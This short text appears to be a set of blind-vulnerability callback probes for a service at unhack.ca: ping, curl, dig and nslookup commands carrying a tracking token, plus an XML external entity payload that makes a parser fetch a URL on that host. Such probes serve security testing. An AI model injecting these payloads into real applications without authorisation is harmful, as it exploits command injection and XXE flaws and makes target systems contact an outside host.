$ ping -c1 -p 002588eeb325037916c920e9a44af600 unhack.ca
 

$ curl http://unhack.ca/p/2588eeb325037916c920e9a44af6
 

$ dig 2588eeb325037916c920e9a44af6 @unhack.ca
 

$ dig 2588eeb325037916c920e9a44af6.ns.unhack.ca
 

C:\> nslookup 2588eeb325037916c920e9a44af6 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/2588eeb325037916c920e9a44af6">]>
    <foo>&xxe;</foo>